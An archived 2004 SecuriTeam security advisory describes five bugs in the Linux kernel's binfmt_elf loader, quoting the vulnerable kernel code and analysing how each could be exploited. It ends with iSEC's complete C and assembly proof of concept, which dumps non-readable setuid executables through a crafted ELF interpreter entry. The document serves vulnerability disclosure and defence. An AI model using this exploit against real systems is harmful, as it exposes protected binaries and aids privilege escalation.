

# [UNIX] Linux Kernel binfmt\_elf ELF Loader Privilege Escalation

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0045.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 11/16/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 16 Nov 2004 17:31:41 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Linux Kernel binfmt\_elf ELF Loader Privilege Escalation

---

## SUMMARY

Numerous bugs have been found in the Linux ELF binary loader while handling setuid binaries. The vulnerabilities allow a malicious user the ability to exploit SUID binaries in order to gain root privileges on the system.

## DETAILS

Vulnerable Systems:

- \* Linux kernel versions 2.4 up to 2.4.27, inclusive
- \* Linux kernel versions 2.6 up to 2.6.9, inclusive

On Unix like systems the `execve(2)` system call provides functionality to replace the current process by a new one (usually found in binary form on the disk), or in other words to execute a new program. Internally the Linux kernel uses a binary format loader layer to implement the low level format functionality of the `execve()` system call. The common `execve` code contains just a few helper functions used to load the new binary and leaves the format specific processing to a specialized binary format loader.

## Securiteam: [UNIX] Linux Kernel binfmt\_elf ELF Loader Privilege Escalation

One of the Linux format loaders is the ELF (Executable and Linkable Format) loader. Nowadays ELF is the standard format for Linux binaries besides the a.out binary format, which is deprecated. One of the functions of a binary format loader is to properly handle setuid executables, that is – executables with the setuid bit set on the file system image of the executable. It allows execution of programs under a different user ID than the user issuing the execve call.

Every ELF binary contains an ELF header defining the type and the layout of the program in memory as well as additional sections (i.e: which program interpreter to load, symbol table, etc). The ELF header normally contains information about the entry point of the binary and the position of the memory map header (phdr) in the binary image and the program interpreter (normally the dynamic linker ld-linux.so). The memory map header defines the memory mapping of the executable file that can be seen later from /proc/self/maps.

Five different coding errors have been found in the linux/fs/binfmt\_elf.c file, all lines taken from the 2.4.27 kernel source files:

\* Wrong return value check while filling kernel buffers (loop to scan the binary header for an interpreter section):

```
static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs *
regs)
```

```
{
    size = elf_ex.e_phnum * sizeof(struct elf_phdr);
    elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL);
    if (!elf_phdata)
        goto out;
```

```
477: retval = kernel_read(bprm->file, elf_ex.e_phoff, (char *) elf_phdata,
size);
```

```
    if (retval < 0)
        goto out_free_ph;
```

The code presented above looks harmless enough. However, checking the return value of kernel\_read (which calls file->f\_op->read) to be non-negative is not sufficient since a read() can perfectly return less than the requested buffer size bytes. The bug is present in lines 301, 523 and 545 as well.

\* Incorrect error behavior, if the mmap() call fails (loop to mmap binary sections into memory):

```
645: for(i = 0, elf_ppnt = elf_phdata; i < elf_ex.e_phnum; i++,
elf_ppnt++) {
```

```
684: error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt,
elf_prot, elf_flags);
```

```
    if (BAD_ADDR(error))
        continue;
```

## Securiteam: [UNIX] Linux Kernel binfmt\_elf ELF Loader Privilege Escalation

\* Bad return value mishandling while mapping the program interpreter into memory:

```
301: retval = kernel_read(interpreter,interp_elf_ex->e_phoff,(char
*)elf_phdata,size);
    error = retval;
    if (retval < 0)
        goto out_close;

    eppnt = elf_phdata;
    for (i=0; i<interp_elf_ex->e_phnum; i++, eppnt++) {
        map_addr = elf_map(interpreter, load_addr + vaddr, eppnt,
elf_prot, elf_type);
322: if (BAD_ADDR(map_addr))
        goto out_close;
out_close:
    kfree(elf_phdata);
out:
    return error;
}
```

\* The loaded interpreter section can contain an interpreter name string without the terminating NULL:

```
508: for (i = 0; i < elf_ex.e_phnum; i++) {
518: elf_interpreter = (char *)
kmalloc(elf_ppnt->p_filesz,
        GFP_KERNEL);
    if (!elf_interpreter)
        goto out_free_file;

    retval = kernel_read(bprm->file,
elf_ppnt->p_offset,
        elf_interpreter,
        elf_ppnt->p_filesz);
    if (retval < 0)
        goto out_free_interp;
```

\* A bug exists in the common `execve()` code in `exec.c`: A vulnerability in `open_exec()` permits reading of non-readable ELF binaries, which can be triggered by requesting the file in the ELF `PT_INTERP` section:

```
541: interpreter = open_exec(elf_interpreter);
    retval = PTR_ERR(interpreter);
    if (IS_ERR(interpreter))
        goto out_free_interp;
    retval = kernel_read(interpreter, 0, bprm->buf,
BINPRM_BUF_SIZE);
```

### Analysis

\* The Linux man pages state that a `read(2)` can return less than the requested number of bytes, even zero. It is not clear how this can happen while reading a disk file (in contrast to network sockets), however here are some thoughts:

## Securiteam: [UNIX] Linux Kernel binfmt\_elf ELF Loader Privilege Escalation

\* Tricking read to fill the elf\_phdata buffer with less than size bytes would cause the remaining part of the buffer to contain some garbage data, that is data from the previous kernel object which occupied that memory area. Therefore we could arbitrarily modify the memory layout of the binary supplying a suitable header information in the kernel buffer. This should be sufficient to gain control over the flow of execution for most of the setuid binaries around.

\* On Linux a disk read goes through the page cache. That is, a disk read can easily fail on a page boundary due to a low memory condition. In this case read() will return less than the requested number of bytes but still indicate success (return value > 0).

\* Most of the standard setuid binaries on a 'normal' i386 Linux installation have ELF headers stored below the 4096th byte, therefore they are probably not exploitable on the i386 architecture.

\* This bug can lead to an incorrectly mmaped binary image in the memory. There are various reasons why a mmap() call can fail:

\* A temporary low memory condition, so that the allocation of a new VMA descriptor fails.

\* Memory limit (RLIMIT\_AS) exceeded, which can be easily manipulated before calling execve().

\* File locks held for the binary file in question.

Security implications in the case of a setuid binary are quite obvious: We may end up with a binary without the .text or .bss section or with those sections shifted (in the case they are not 'fixed' sections). It is not clear which standard binaries are exploitable however it is sufficient that at some point we come over some instructions that jump into the environment area due to malformed memory layout and gain full control over the setuid application.

\* This bug is similar to the previous one except the code incorrectly returns the kernel\_read status to the calling function on mmap failure which will assume that the program interpreter has been loaded. That means the kernel will start the execution of the binary file itself instead of calling the program interpreter (linker) that has to finish the binary loading from user space.

It has been found that standard Linux (i386, GCC 2.95) setuid binaries contain code that will jump to the EIP=0 address and crash (since there is no virtual memory mapped there), however this may vary from binary to binary as well from architecture to architecture and may be easily exploitable.

\* This bug leads to internal kernel file system functions being called with an argument string exceeding the maximum path size in length (PATH\_MAX). It is not clear if this condition is exploitable. A user may try to execute such a malicious binary with an unterminated interpreter

name string and trick the kernel memory manager to return a memory chunk for the `elf_interpreter` variable followed by a suitable long path name (like `../../../../`). Experiments show that it can lead to a perceivable system hang.

\* This bug is similar to the shared file table race [1]. A proof of concept code is listed at the end of this article that just core dumps the non-readable but executable ELF file. A user may create a manipulated ELF binary that requests a non-readable but executable file as program interpreter and gain read access to the privileged binary. This works only if the file is a valid ELF image file so it is not possible to read a data file that has the execute bit set but the read bit cleared. A common usage would be to read exec-only setuid binaries to gain offsets for further exploitation.

#### Proof Of Concept

```
/*
 *
 * binfmt_elf executable file read vulnerability
 *
 * gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump
 *
 * Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/resource.h>
#include <sys/wait.h>

#include <linux/elf.h>

#define BADNAME "/tmp/_elf_dump"

void usage(char *s)
{
    printf("\nUsage: %s executable\n\n", s);
    exit(0);
}
```

## Securiteam: [UNIX] Linux Kernel binfmt\_elf ELF Loader Privilege Escalation

```
// ugly mem scan code :-)
static volatile void bad_code(void)
{
__asm__(
// "1: jmp 1b \n"
    " xorl %edi, %edi \n"
    " movl %esp, %esi \n"
    " xorl %edx, %edx \n"
    " xorl %ebp, %ebp \n"
    " call get_addr \n"

    " movl %esi, %esp \n"
    " movl %edi, %ebp \n"
    " jmp inst_sig \n"

    "get_addr: popl %ecx \n"

// sighand
    "inst_sig: xorl %eax, %eax \n"
    " movl $11, %ebx \n"
    " movb $48, %al \n"
    " int $0x80 \n"

    "ld_page: movl %ebp, %eax \n"
    " subl %edx, %eax \n"
    " cmpl $0x1000, %eax \n"
    " jle ld_page2 \n"

// mprotect
    " pusha \n"
    " movl %edx, %ebx \n"
    " addl $0x1000, %ebx \n"
    " movl %eax, %ecx \n"
    " xorl %eax, %eax \n"
    " movb $125, %al \n"
    " movl $7, %edx \n"
    " int $0x80 \n"
    " popa \n"

    "ld_page2: addl $0x1000, %edi \n"
    " cmpl $0xc0000000, %edi \n"
    " je dump \n"
    " movl %ebp, %edx \n"
    " movl (%edi), %eax \n"
    " jmp ld_page \n"

    "dump: xorl %eax, %eax \n"
    " xorl %ecx, %ecx \n"
    " movl $11, %ebx \n"
    " movb $48, %al \n"
    " int $0x80 \n"
```

## Securiteam: [UNIX] Linux Kernel binfmt\_elf ELF Loader Privilege Escalation

```
" movl $0xdeadbeef, %eax \n"
" jmp *(%eax) \n"

);
}

static volatile void bad_code_end(void)
{
}

int main(int ac, char **av)
{
struct elfhdr eh;
struct elf_phdr eph;
struct rlimit rl;
int fd, nl, pid;

    if(ac<2)
        usage(av[0]);

// make bad a.out
    fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
    nl = strlen(av[1])+1;
    memset(&eh, 0, sizeof(eh) );

// elf exec header
    memcpy(eh.e_ident, ELF_MAGIC, SELFMAGIC);
    eh.e_type = ET_EXEC;
    eh.e_machine = EM_386;
    eh.e_phentsize = sizeof(struct elf_phdr);
    eh.e_phnum = 2;
    eh.e_phoff = sizeof(eh);
    write(fd, &eh, sizeof(eh) );

// section header(s)
    memset(&eph, 0, sizeof(eph) );
    eph.p_type = PT_INTERP;
    eph.p_offset = sizeof(eh) + 2*sizeof(eph);
    eph.p_filesz = nl;
    write(fd, &eph, sizeof(eph) );

    memset(&eph, 0, sizeof(eph) );
    eph.p_type = PT_LOAD;
    eph.p_offset = 4096;
    eph.p_filesz = 4096;
    eph.p_vaddr = 0x0000;
    eph.p_flags = PF_R|PF_X;
    write(fd, &eph, sizeof(eph) );

// .interp
    write(fd, av[1], nl );
```

## Securiteam: [UNIX] Linux Kernel binfmt\_elf ELF Loader Privilege Escalation

```
// execable code
    nl = &bad_code_end - &bad_code;
    lseek(fd, 4096, SEEK_SET);
    write(fd, &bad_code, 4096);
    close(fd);

// dump the shit
    rl.rlim_cur = RLIM_INFINITY;
    rl.rlim_max = RLIM_INFINITY;
    if( setrlimit(RLIMIT_CORE, &rl) )
        perror("\nsetrlimit failed");
    fflush(stdout);
    pid = fork();
    if(pid)
        wait(NULL);
    else
        execl(BADNAME, BADNAME, NULL);

    printf("\ncore dumped!\n\n");
    unlink(BADNAME);

return 0;
}
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:ihaquer@isec.pl> Paul Starzetz.

The original article can be found at:

<[http://isec.pl/vulnerabilities/isec-0017-binfmt\\_elf.txt](http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt)>

[http://isec.pl/vulnerabilities/isec-0017-binfmt\\_elf.txt](http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.